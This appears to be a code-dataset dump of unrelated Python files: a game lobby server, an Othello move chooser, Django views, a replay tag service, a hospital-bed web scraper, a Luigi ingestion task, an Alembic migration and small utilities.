len(self.clients) == 0:\n\t\t\t\t#rip server\n\t\t\t\tdel games[self.game_id]\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\tself.host = self.clients[0]\n\t\t\t\tnewHostMessage = {\n\t\t\t\t\t\"type\" : \"changeHost\",\n\t\t\t\t\t\"data\" : {\n\t\t\t\t\t\t\"user\" : self.host.user_id,\n\t\t\t\t\t\t\"msg\" : \"Host disconnecting\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tself.message_all(newHostMessage)\n\n\t\tgroupResponse = {\n\t\t\t\"type\" : \"userDisconnect\",\n\t\t\t\"data\" : [\n\t\t\t\t{\n\t\t\t\t\t\"user\" : client.user_id,\n\t\t\t\t\t\"msg\" : reason\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t\tself.message_all(groupResponse)\n\n\tdef message_all(self, response):\n\t\tfor client in self.clients:\n\t\t\tclient.write_message(json.dumps(response))\n\n\t#host only commands\n\tdef changeHost(self, client, target, message):\n\t\tif self.host.user_id == client.user_id:\n\t\t\tnew_host = self.getClientFromID(target)\n\n\t\t\tif new_host is None:\n\t\t\t\treturn\n\t\t\tself.host = new_host\n\t\t\tnewHostMessage = {\n\t\t\t\t\"type\" : \"changeHost\",\n\t\t\t\t\"data\" : {\n\t\t\t\t\t\"user\" : self.host.user_id,\n\t\t\t\t\t\"msg\" : message\n\t\t\t\t}\n\t\t\t}\n\t\t\tself.message_all(newHostMessage)\n\n\tdef announce(self, client, message):\n\t\tif client is None or self.host.user_id == client.user_id:\n\t\t\tannouncement = {\n\t\t\t\t\"type\" : \"announcement\",\n\t\t\t\t\"data\" : [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"msg\", message\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t\tself.message_all(announcement)\n\n\tdef kickUser(self, client, target, message):\n\t\tif client is None or self.host.user_id == client.user_id:\n\t\t\t#yes the host can kick himself\n\t\t\tvictim = self.getClientFromID(target)\n\n\t\t\tif victim is None:\n\t\t\t\treturn\n\t\t\tself.disconnect(victim, \"Kicked by host: \" + message)\n\t\t\tvictim.close()\n\n\tdef changeInfo(self, client, name, password):\n\t\tif client is None or self.host.user_id == client.user_id:\n\t\t\tself.name = name\n\t\t\tself.password = password\n\n\t\t\tself.announce(None, \"Server Information updated.\");\n\n\tdef loadBoardState(self, client, boardInfo):\n\t\tif client is None or self.host.user_id == client.user_id:\n\t\t\treturn\n\t\t\t#TODO\n\n\tdef clearBoard(self, client):\n\t\tif client is None or self.host.user_id == client.user_id:\n\t\t\treturn\n\t\t\t#TODO\n\n\t#general commands\n\tdef chat(self, client, message):\n\t\tresponse = {\n\t\t\t\"type\" : \"chat\",\n\t\t\t\"data\" : [\n\t\t\t\t{\n\t\t\t\t\t\"user\" : client.user_id,\n\t\t\t\t\t\"time\" : time.time(),\n\t\t\t\t\t\"msg\" : message\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t\tself.message_all(response)\n\n\tdef dump_json(self):\n\t\treturn self.board_state.dump_json()\n\n\tdef load_json(self, json_string):\n\t\tself.board_state.load_json(json_string)\n","sub_path":"reboot/lobby.py","file_name":"lobby.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"289411050","text":"import sys\nfrom random import choice\n\n\ndef display(board, moves):\n listBoard = list(board)\n for i in moves:\n listBoard[i] = '*'\n newBoard = ''.join(listBoard)\n for i in range(0, 64, 8):\n print(newBoard[i:i+8])\n\ndef score(board):\n return str(board.count('X')) + \"/\" + str(board.count('O'))\n\ndef codetoidx(code):\n return (int(code[1])-1)*8 + (ord(code[0]) - ord('A'))\n\ndef checkidx(boards, tkn):\n idxs = {}\n board = [list(boards[i:i + 8]) for i in range(0, 64, 8)]\n for idx in range(64):\n if boards[idx] != '.': continue\n x = idx // 8\n y = idx % 8\n i = x+1\n while(i < 8):\n if(board[i][y] == '.'): break\n if(board[i][y] == tkn and i != x+1):\n if(idx not in idxs): idxs[idx] = []\n idxs[idx].append((0, (i*8)+y))\n break\n elif(board[i][y] == tkn):\n break\n i+=1\n i = x-1\n while (i >= 0):\n if (board[i][y] == '.'): break\n if (board[i][y] == tkn and i != x-1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((1, (i * 8) + y))\n break\n elif(board[i][y] == tkn):\n break\n i -= 1\n j = y + 1\n while (j < 8):\n if (board[x][j] == '.'): break\n if (board[x][j] == tkn and j != y+1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((2, (x * 8) + j))\n break\n elif(board[x][j] == tkn):\n break\n j += 1\n j = y - 1\n while (j >= 0):\n if (board[x][j] == '.'): break\n if (board[x][j] == tkn and j != y-1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((3, (x * 8) + j))\n break\n elif(board[x][j] == tkn):\n break\n j -= 1\n k = 1\n while(x+k < 8 and y+k < 8):\n if (board[x+k][y+k] == '.'): break\n if(board[x+k][y+k] == tkn and k != 1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((4, ((x+k) * 8) + y+k))\n break\n elif(board[x+k][y+k] == tkn):\n break\n k+=1\n k = 1\n while (x - k >= 0 and y - k >= 0):\n if (board[x - k][y - k] == '.'): break\n if (board[x - k][y - k] == tkn and k != 1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((5, ((x-k) * 8) + y-k))\n break\n elif(board[x-k][y-k] == tkn):\n break\n k += 1\n k = 1\n while (x + k < 8 and y - k >= 0):\n if (board[x + k][y - k] == '.'): break\n if (board[x + k][y - k] == tkn and k != 1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((6, ((x+k) * 8) + y-k))\n break\n elif(board[x+k][y-k] == tkn):\n break\n k += 1\n k = 1\n while (x - k >= 0 and y + k < 8):\n if (board[x - k][y + k] == '.'): break\n if (board[x - k][y + k] == tkn and k != 1):\n if (idx not in idxs): idxs[idx] = []\n idxs[idx].append((7, ((x-k) * 8) + y+k))\n break\n elif(board[x-k][y+k] == tkn):\n break\n k+=1\n return idxs\n\ndef move(boards, tkn, idx0, moves):\n board = [list(boards[i:i+8]) for i in range(0, 64, 8)]\n board[idx0//8][idx0%8] = tkn\n for tup in moves[idx0]:\n a = tup[0]\n idx = tup[1]\n x = idx // 8\n y = idx % 8\n if(a == 1):\n i = x + 1\n while (i*8 + y != idx0):\n board[i][y] = tkn\n i += 1\n elif(a == 0):\n i = x - 1\n while (i*8 + y != idx0):\n board[i][y] = tkn\n i -= 1\n elif(a == 3):\n j = y + 1\n while (x*8 + j != idx0):\n board[x][j] = tkn\n j += 1\n elif (a == 2):\n j = y - 1\n while (x*8 + j != idx0):\n board[x][j] = tkn\n j -= 1\n elif(a == 5):\n k = 1\n while ((x+k)*8 + y+k != idx0):\n board[x+k][y+k] = tkn\n k += 1\n elif(a == 4):\n k = 1\n while ((x-k)*8 + y-k != idx0):\n board[x-k][y-k] = tkn\n k += 1\n elif(a == 7):\n k = 1\n while ((x+k)*8 + y-k != idx0):\n board[x+k][y-k] = tkn\n k += 1\n elif (a == 6):\n k = 1\n while ((x-k)*8 + y+k != idx0):\n board[x-k][y+k] = tkn\n k += 1\n return ''.join(''.join(brd) for brd in board)\n\ndef turn(board):\n if (board.count('X') + board.count('O')) % 2 == 0:\n return 'X'\n else:\n return 'O'\n\ndef remove_corners(moves, board):\n if(board[0] == '.'):\n if 1 in moves and len(moves) > 1: moves.remove(1)\n if 8 in moves and len(moves) > 1: moves.remove(8)\n if 9 in moves and len(moves) > 1: moves.remove(9)\n if(board[7] == '.'):\n if 6 in moves and len(moves) > 1: moves.remove(6)\n if 15 in moves and len(moves) > 1: moves.remove(15)\n if 14 in moves and len(moves) > 1: moves.remove(14)\n if(board[56] == '.'):\n if 48 in moves and len(moves) > 1: moves.remove(48)\n if 49 in moves and len(moves) > 1: moves.remove(49)\n if 57 in moves and len(moves) > 1: moves.remove(57)\n if(board[63] == '.'):\n if 55 in moves and len(moves) > 1: moves.remove(55)\n if 54 in moves and len(moves) > 1: moves.remove(54)\n if 62 in moves and len(moves) > 1: moves.remove(62)\n\ndef analyze_edges(board, moves, tkn):\n new_moves = set()\n\n edge1 = board[0:8]\n edge2 = board[0::8]\n edge3 = board[56:64]\n edge4 = board[7::8]\n\n if(board[0] == tkn):\n new_moves.add(edge1.find('.'))\n new_moves.add(edge2.find('.') * 8)\n if(board[7] == tkn):\n new_moves.add(edge1.rfind('.'))\n new_moves.add((edge4.find('.')*8) + 7)\n if(board[56] == tkn):\n new_moves.add(edge2.rfind('.') * 8)\n new_moves.add(edge3.find('.') + 56)\n if(board[63] == tkn):\n new_moves.add(edge3.rfind('.') + 56)\n new_moves.add((edge4.rfind('.')*8) + 7)\n\n return list(new_moves & set(moves))\n\ndef main():\n def_board = '.' * 27 + 'OX' + '.' * 6 + 'XO' + '.' * 27\n\n board = def_board\n\n tkn = ''\n\n idxs = []\n\n if(len(sys.argv) >= 2):\n if(len(sys.argv[1]) > 2):\n board = sys.argv[1].upper()\n elif(sys.argv[1].isdigit()):\n idxs.append(int(sys.argv[1]))\n elif(sys.argv[1][0] == '-'):\n pass\n elif(len(sys.argv[1]) == 2 and sys.argv[1][1].isdigit()):\n idxs.append(codetoidx(sys.argv[1].upper()))\n else:\n tkn = sys.argv[1].upper()\n if(len(sys.argv) >= 3):\n if(len(idxs) > 0 or tkn):\n for i in range(2, len(sys.argv)):\n if (sys.argv[i].isdigit()):\n idxs.append(int(sys.argv[i]))\n elif(sys.argv[i][0] == '-'):\n continue\n elif (len(sys.argv[i]) == 2 and sys.argv[i][1].isdigit()):\n idxs.append(codetoidx(sys.argv[i].upper()))\n if(board != def_board):\n if (sys.argv[2].isdigit() or (len(sys.argv[2]) == 2 and sys.argv[2][1].isdigit())):\n for i in range(2, len(sys.argv)):\n if (sys.argv[i].isdigit()):\n idxs.append(int(sys.argv[i]))\n elif(sys.argv[i][0] == '-'):\n continue\n elif (len(sys.argv[i]) == 2 and sys.argv[i][1].isdigit()):\n idxs.append(codetoidx(sys.argv[i].upper()))\n else:\n tkn = sys.argv[2].upper()\n if(len(sys.argv) >= 4):\n for i in range(3, len(sys.argv)):\n if (sys.argv[i].isdigit()):\n idxs.append(int(sys.argv[i]))\n elif (sys.argv[i][0] == '-'):\n continue\n elif (len(sys.argv[i]) == 2 and sys.argv[i][1].isdigit()):\n idxs.append(codetoidx(sys.argv[i].upper()))\n\n if not tkn:\n tkn = turn(board)\n\n moves = checkidx(board, tkn)\n\n '''if idx != -1 and ((idx not in moves['X'] and idx not in moves['O']) or (tkn == 'X' and idx not in moves['X']) or (tkn == 'O' and idx not in moves['O'])):\n print(\"Hey, Buster, you're actually bad!\")\n exit(0)'''\n\n\n listOfMoves = list(moves.keys())\n\n print(listOfMoves)\n\n edges = analyze_edges(board, listOfMoves, tkn)\n\n if len(moves.keys() & {0, 7, 56, 63}) > 0:\n print(choice(list(moves.keys() & {0, 7, 56, 63})))\n elif len(edges) > 0:\n print(choice(edges))\n else:\n remove_corners(listOfMoves, board)\n print(choice(listOfMoves))\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"Othello4.py","file_name":"Othello4.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"291975263","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\nfrom .forms import UserRegisterForm, CollectionSidebarForm\nfrom django.contrib.auth.decorators import login_required\nfrom .models import *\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'Account successfully created! You will now be able to login.')\n return redirect('login')\n\n else:\n form = UserRegisterForm()\n return render(request, 'users/register.html', {'form': form})\n\n@login_required\ndef collections(request, collection_id):\n product_type_dict = {'CPU': Cpu,\n }\n product_attributes = {\n 'CPU': {'Cores': 'cores', 'Base clock': 'base_clock', 'Boost clock': 'boost_clock', 'TDP': 'tdp'}}\n # product_type_name = ProductTypes.objects.get(pk=type_id).name\n clock_selector = {'CPU': 'GHz', 'GPU': 'MHz'}\n\n\n if request.method == 'POST':\n form = CollectionSidebarForm(request.POST)\n if form.is_valid():\n collection_model_obj = form.save(commit=False)\n collection_model_obj.user = request.user\n collection_model_obj = form.save()\n # UserProfile.objects.create(user=request.user, default_collection=collection_model_obj).save()\n current_user_profile = UserProfile.objects.get(user=request.user)\n current_user_profile.default_collection = collection_model_obj\n current_user_profile.save()\n messages.success(request, f'New Collection created! Please add components.')\n return redirect('collections', collection_id=collection_model_obj.id)\n\n else:\n form = CollectionSidebarForm()\n\n #all collection data for sidebar\n collections = Collection.objects.filter(user=request.user).order_by('-id')\n\n #see if default or a specific collection has been selected\n\n #if the link has /default/\n if collection_id == 'default':\n selected_collection = getattr(request.user.userprofile, 'default_collection')\n\n # if the link has /collection_id/\n else:\n selected_collection = Collection.objects.get(pk=int(collection_id))\n\n all_products_nested_list = []\n if selected_collection:\n #return all products in the selected collection\n all_products = Products.objects.filter(collection=selected_collection)\n for product in all_products:\n #eg: Cpu.objects.get(products=product)\n inherited_product_obj = product_type_dict[product.type.name].objects.get(product=product)\n retailerproduct_queryset = inherited_product_obj.product.retailerproducts_set.all()\n attr_dict = product_attributes[product.type.name]\n ctx_product_attr_dict = {}\n for attr_name, attr_key in attr_dict.items():\n attr_value = getattr(inherited_product_obj, attr_key)\n if 'clock' in attr_name:\n attr_value = f'{str(round(attr_value * 10 ** -9, 1))} {clock_selector[product.type.name]}'\n ctx_product_attr_dict[attr_name] = attr_value\n if retailerproduct_queryset:\n all_products_nested_list.append([inherited_product_obj, retailerproduct_queryset, ctx_product_attr_dict])\n else:\n all_products_nested_list.append([inherited_product_obj, None, ctx_product_attr_dict])\n\n #form context obj\n context = {'form': form,\n 'collections': collections,\n 'selected_collection': selected_collection,\n 'all_products_nested_list': all_products_nested_list}\n return render(request, 'users/collections.html', context=context)\n\n","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"37388047","text":"import base64\nfrom typing import List, Dict\n\nfrom backend.blueprints.spa_api.service_layers.utils import with_session\nfrom backend.utils.logging import ErrorLogger\nfrom backend.blueprints.spa_api.errors.errors import TagNotFound, PlayerNotFound, TagError\nfrom backend.database.objects import Tag as DBTag, Player\nfrom backend.database.wrapper.tag_wrapper import TagWrapper, DBTagNotFound\nfrom backend.utils.safe_flask_globals import get_current_user_id\n\n\nclass Tag:\n def __init__(self, name: str, owner: str, db_tag: DBTag = None):\n super().__init__()\n self.name = name\n self.owner_id = owner\n self.db_tag = db_tag\n\n def to_JSON(self, with_id=False):\n if with_id:\n return {\n \"name\": self.name,\n \"owner_id\": self.owner_id,\n \"tag_id\": self.db_tag.id\n }\n\n return {\n \"name\": self.name,\n \"owner_id\": self.owner_id\n }\n\n @staticmethod\n def create_from_dbtag(tag: DBTag):\n return Tag(tag.name, tag.owner, db_tag=tag)\n\n @staticmethod\n @with_session\n def add_private_key(name: str, private_key: str, session=None, player_id=None):\n try:\n TagWrapper.add_private_key_to_tag(session, get_current_user_id(player_id=player_id), name, private_key)\n except DBTagNotFound:\n raise TagNotFound()\n\n @staticmethod\n @with_session\n def create(name: str, session=None, player_id=None, private_key=None) -> 'Tag':\n \"\"\"\n Creates a new instance of Tag, add one to the db if it does not exist.\n :param name: Tag name\n :param session: Database session\n :param player_id\n :param private_key\n :return:\n \"\"\"\n # Check if tag exists\n try:\n dbtag = TagWrapper.get_tag_by_name(session, get_current_user_id(player_id=player_id), name)\n tag = Tag.create_from_dbtag(dbtag)\n return tag\n except DBTagNotFound:\n pass\n dbtag = TagWrapper.create_tag(session, get_current_user_id(player_id=player_id), name, private_key=private_key)\n tag = Tag.create_from_dbtag(dbtag)\n return tag\n\n @staticmethod\n @with_session\n def rename(current_name: str, new_name: str, session=None) -> 'Tag':\n # Check if name already exists\n try:\n TagWrapper.get_tag_by_name(session, get_current_user_id(), new_name)\n raise TagError(409, f\"Tag with name {new_name} already exists.\")\n except DBTagNotFound:\n pass\n\n try:\n dbtag = TagWrapper.rename_tag(session, get_current_user_id(), current_name, new_name)\n except DBTagNotFound:\n raise TagNotFound()\n tag = Tag.create_from_dbtag(dbtag)\n return tag\n\n @staticmethod\n @with_session\n def delete(name: str, session=None) -> None:\n try:\n TagWrapper.delete_tag(session, get_current_user_id(), name)\n except DBTagNotFound:\n raise TagNotFound()\n\n @staticmethod\n @with_session\n def get_all(session=None) -> List['Tag']:\n dbtags = TagWrapper.get_tags(session, get_current_user_id())\n tags = [Tag.create_from_dbtag(dbtag) for dbtag in dbtags]\n return tags\n\n @staticmethod\n @with_session\n def get_tag(name: str, session=None) -> 'Tag':\n dbtag = TagWrapper.get_tag_by_name(session, get_current_user_id(), name)\n return Tag.create_from_dbtag(dbtag)\n\n @staticmethod\n @with_session\n def add_tag_to_game(name: str, replay_id: str, session=None) -> None:\n try:\n TagWrapper.add_tag_by_name_to_game(session, replay_id, get_current_user_id(), name)\n except DBTagNotFound:\n raise TagNotFound()\n\n @staticmethod\n @with_session\n def remove_tag_from_game(name: str, replay_id: str, session=None) -> None:\n try:\n TagWrapper.remove_tag_from_game(session, replay_id, get_current_user_id(), name)\n except DBTagNotFound:\n raise TagNotFound()\n\n @staticmethod\n @with_session\n def get_encoded_private_key(name: str, session=None) -> str:\n tag = Tag.get_tag(name, session=session)\n if tag.db_tag.private_id is None:\n raise TagNotFound()\n return Tag.encode_tag(tag.db_tag.id, tag.db_tag.private_id)\n\n @staticmethod\n def encode_tag(tag_id: int, private_id: str) -> str:\n merged = str(tag_id + 1000) + \":\" + private_id\n return base64.b85encode(merged.encode(encoding=\"utf-8\")).decode('utf-8')\n\n @staticmethod\n def decode_tag(encoded_key: str):\n decoded_key_bytes = base64.b85decode(encoded_key)\n decoded_key = decoded_key_bytes.decode(encoding=\"utf-8\")\n first_index = decoded_key.find(':')\n tag_id = int(decoded_key[0: first_index]) - 1000\n decoded_private_id = decoded_key[first_index + 1:]\n return tag_id, decoded_private_id\n\n@with_session\ndef apply_tags_to_game(query_params: Dict[str, any]=None, game_id=None, session=None):\n if query_params is None:\n return None\n if 'tags' not in query_params and 'private_tag_keys' not in query_params:\n return None\n tags = query_params['tags'] if 'tags' in query_params else []\n private_ids = query_params['private_tag_keys'] if 'private_tag_keys' in query_params else []\n if len(tags) > 0:\n player_id = query_params['player_id']\n if session.query(Player).filter(Player.platformid == player_id).first() is None:\n ErrorLogger.log_error(PlayerNotFound())\n else:\n for tag in tags:\n created_tag = Tag.create(tag, session=session, player_id=player_id)\n TagWrapper.add_tag_to_game(session, game_id, created_tag.db_tag)\n\n for private_id in private_ids:\n tag_id, private_key = Tag.decode_tag(private_id)\n tag = TagWrapper.get_tag_by_id(session, tag_id)\n if tag.private_id is not None and tag.private_id == private_key:\n TagWrapper.add_tag_to_game(session, game_id, tag)\n","sub_path":"backend/blueprints/spa_api/service_layers/replay/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":6041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"155158564","text":"import numpy as np\nimport random\n\n\ndef get_data(num, dim):\n \"\"\"获得数据\n 获得线性可分的随机数据x N个,标记y,分割超平面wf\n\n Args:\n\n num (int): number of x\n dim (int): dimension of x\n\n Returns:\n\n x (np.array): data in (-1, 1)\n y (np.array): label of x\n wf (np.array): perfect Hyperplane\n \"\"\"\n wf = np.random.random(size=dim + 1)\n wf /= sum(wf)\n x = np.random.rand(num, dim) * 2 - 1\n wf_dot_x = np.dot(wf[:-1], x.transpose()) + wf[-1]\n\n positive_id = np.where(wf_dot_x > 0)\n negative_id = np.where(wf_dot_x < 0)\n\n y = np.zeros(num)\n y[positive_id] = 1\n y[negative_id] = -1\n\n return x, y, wf\n","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"174147686","text":"import re\n\ndef count_words(text):\n\t\"\"\"Count How many times each word occurs in text\"\"\"\n\tcounts = dict()\n\n\t# Convert to Lowercase\n\ttext = text.lower()\n\n\t# Split text into tokens\n\twords = re.split(r'[^\\w]', text)\n\n\t# Aggregare Word Counts Using a Dictionary\n\tfor word in words:\n\t\tif word not in counts:\n\t\t\tcounts[word] = 1\n\t\telse:\n\t\t\tcounts[word] += 1\n\treturn counts\n\n\nwith open('Data/input.txt') as f:\n\ttext = f.read()\n\tcounts = count_words(text)\n\nprint(counts)\nsorted_counts = sorted(counts.items(), key=lambda pair:pair[1], reverse=True)\nprint(\"10 Most Common Words:\\nWord\\tCount\")\nfor word,count in sorted_counts[:10]:\n\tprint(f\"{word}\\t{count}\")\nprint(\"-\"*30)\nprint(\"10 Most Least Words:\\nWord\\tCount\")\nfor word,count in sorted_counts[-10:]:\n\tprint(f\"{word}\\t{count}\")","sub_path":"31_NLP_with_Python/31_Count_Words.py","file_name":"31_Count_Words.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"2814439","text":"import json\nfrom collections import OrderedDict\nfrom time import sleep\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport pandas as pd\nfrom selenium.webdriver.support.ui import Select\n\n\ndef getPaginatedPages(web_driver, html, html_text):\n soups = BeautifulSoup(html, 'html.parser')\n tb = soups.find('tbody')\n pagination = tb.find('tr', {'class': 'pagination-ys'})\n if pagination:\n tds = pagination.find_all('td')\n for i in range(2, len(tds)):\n if tds[i].find('a'):\n page = web_driver.find_element_by_xpath(f'//*[@id=\"ctl00_ContentPlaceHolder1_GridView2\"]/tbody/tr[1]/td/table/tbody/tr/td[{i}]/a')\n page.click()\n sleep(15)\n html_p = web_driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n html_text.append(html_p)\n\n page = web_driver.find_element_by_xpath(f'//*[@id=\"ctl00_ContentPlaceHolder1_GridView2\"]/tbody/tr[1]/td/table/tbody/tr/td[{1}]/a')\n page.click()\n sleep(15)\n\n\nif __name__ == '__main__':\n api_input = []\n api_url = 'http://127.0.0.1:5000/updateBulk'\n html_text = list()\n district = 'KOLKATA METROPOLITAN AREA'\n\n # initialize the selenium web driver\n options = webdriver.ChromeOptions()\n options.add_argument(\"--headless\")\n\n driver = webdriver.Chrome(\"/home/svc/chromedriver\", chrome_options=options)\n driver.get(\"https://excise.wb.gov.in/CHMS/Public/Page/CHMS_Public_Hospital_Bed_Availability.aspx\")\n\n select = Select(driver.find_element_by_xpath('//*[@id=\"ctl00_ContentPlaceHolder1_ddl_District\"]'))\n select.select_by_visible_text(district)\n sleep(15) # allowing a sleep time of 10 sec to fully load the page\n\n # get govt requisitioned private hospital data\n select_govt_pvt = driver.find_element_by_xpath('//*[@id=\"ctl00_ContentPlaceHolder1_rdo_Govt_Flag\"]/label[2]')\n select_govt_pvt.click()\n sleep(15)\n html_govt_pvt = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n html_text.append(html_govt_pvt)\n # check pagination\n getPaginatedPages(driver, html_govt_pvt, html_text)\n\n # get private hospital data\n select_pvt = driver.find_element_by_xpath('//*[@id=\"ctl00_ContentPlaceHolder1_rdo_Govt_Flag\"]/label[3]')\n select_pvt.click()\n sleep(15)\n html_pvt = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n html_text.append(html_pvt)\n getPaginatedPages(driver, html_pvt, html_text)\n\n # get govt hospital data\n select_govt = driver.find_element_by_xpath('//*[@id=\"ctl00_ContentPlaceHolder1_rdo_Govt_Flag\"]/label[1]')\n select_govt.click()\n sleep(15)\n html_govt = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n html_text.append(html_govt)\n getPaginatedPages(driver, html_govt, html_text)\n\n # parse the html for each district to collect required data\n for html in html_text:\n soup = BeautifulSoup(html, 'html.parser')\n tbody = soup.find('tbody')\n if not tbody:\n continue\n rows = tbody.find_all('tr')\n for row in rows:\n data = OrderedDict()\n header = row.find('div', {'class': 'card-header'})\n if header:\n #print(header)\n data['Address']=header.find('div', {'class': 'card-text col-md-12 col-lg-12 col-sm-12 col-xs-12'}).text.strip()\n data['Name'] = header.find('h5').text.strip()\n data['Contact'] = header.find('a').text.strip()\n body = row.find('div', {'class': 'card-body'})\n content = body.find('div', {'id': 'collapseExample'})\n beds = content.find_all('div', {'class': 'col-lg-6 col-md-6 col-sm-12 mb-4'})\n covid_beds = beds[0]\n oxygen_beds = beds[1]\n icu_beds = beds[2]\n ventilator_beds = beds[-1]\n data['COVID Beds'] = covid_beds.find_all('h3')[-1].text\n data['Oxygen Beds'] = oxygen_beds.find_all('h3')[-1].text\n data['ICU'] = icu_beds.find_all('h3')[-1].text\n data['Ventilator Beds'] = ventilator_beds.find_all('h3')[-1].text\n data['Sheet Name'] = district + \" Beds\"\n last_updated = row.find('div', {'class': 'card-footer text-muted'})\n raw_date = last_updated.find('small').text.split('Last Updated On :')[-1]\n formatted_date = pd.to_datetime(raw_date)\n data['LAST UPDATED'] = formatted_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n data['Check LAST UPDATED']=True\n api_input.append(data)\n\n data = json.dumps(api_input)\n try:\n api_response = requests.post(api_url, json=json.loads(data), verify=False)\n if api_response.status_code != 200:\n raise Exception(f\"bulk update failed: {api_response.text}\")\n except Exception as ex:\n print(ex)\n\n driver.close()\n","sub_path":"src/kolkata.py","file_name":"kolkata.py","file_ext":"py","file_size_in_byte":5026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"148250841","text":"import requests\nimport luigi\nimport luigi.contrib.s3\nimport json\nfrom calendar import monthrange\n\nclass raw_task(luigi.Task):\n\tbucket = 'dpa-metro-raw'\n\tyear = luigi.IntParameter()\n\tmonth = luigi.IntParameter()\n\tstation = luigi.Parameter()\n\n\tdef run(self):\n\t\tdays_in_month = monthrange(self.year, self.month)[1]\n\n\t\trecords = []\n\t\tfor day in range(days_in_month):\n\t\t\tfecha = str(self.year)+\"-\"+str(self.month).zfill(2)+\"-\"+str(day+1).zfill(2)\n\t\t\tapi_url = \"https://datos.cdmx.gob.mx/api/records/1.0/search/?dataset=afluencia-diaria-del-metro-cdmx&sort=-fecha&facet=fecha&facet=linea&facet=estacion&refine.fecha=\"+fecha+\"&refine.estacion=\"+self.station\n\n\t\t\tr = requests.get(url = api_url)\n\t\t\tdata = r.json()\n\n\t\t\tfor obs in data[\"records\"]:\n\t\t\t\trecords.append(obs[\"fields\"])\n\n\t\twith self.output().open('w') as output_file:\n\t\t\tjson.dump(records, output_file)\n\n\tdef output(self):\n\t\toutput_path = \"s3://{}/year={}/month={}/station={}/{}.json\".\\\n\t\tformat(self.bucket,str(self.year),str(self.month).zfill(2),self.station,self.station.replace(' ', ''))\n\t\treturn luigi.contrib.s3.S3Target(path=output_path)\n\nif __name__ == '__main__':\n\tluigi.run()\n","sub_path":"scripts/raw_ingest.py","file_name":"raw_ingest.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"95934588","text":"__author__ = 'Sergey'\nimport re\nwords = {}\nfileName = 'const.txt'\nfile = open(fileName, 'rt')\nfor line in file:\n line = re.sub('[^0-9a-zA-Z|\\s]+', '', line)\n lineWords = line.split()\n for word in lineWords:\n if word.lower() not in words:\n words[word.lower()] = 1\n else:\n words[word.lower()] += 1\nfile.close()\n\nwordsByCount = sorted(words.items(), key=lambda x: x[1], reverse=True)\n\nfor word in wordsByCount:\n print(word[0], word[1])\n\n","sub_path":"interview_prep/puzzles/words_count.py","file_name":"words_count.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"253133432","text":"\"\"\"empty message\n\nRevision ID: bcc679dabb3a\nRevises: 176bda910bd4\nCreate Date: 2021-02-18 01:29:37.511408\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'bcc679dabb3a'\ndown_revision = '176bda910bd4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('raspberry', sa.Column('start_date', sa.String(length=32), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('raspberry', 'start_date')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/bcc679dabb3a_.py","file_name":"bcc679dabb3a_.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"188988912","text":"# -----------------------------------------------------------------------------\n# Copyright (c) 2016+ Buro Petr van Blokland + Claudia Mens & Font Bureau\n# www.pagebot.io\n#\n# P A G E B O T\n#\n# Licensed under MIT conditions\n# Made for usage in DrawBot, www.drawbot.com\n# -----------------------------------------------------------------------------\n#\n# DrawVariableFontManyWeightsAnimation.py\n#\n# Note: the type of animation used in this example is self-contained:\n# all code for for FontIcon class and KeyFrame class is here.\n# In the future these classes will be part of the main PageBot library,\n# which may make them incompatible with this particular example.\n# \nimport pagebot\nfrom pagebot.fonttoolbox.objects.font import Font, getFontByName\nfrom pagebot import 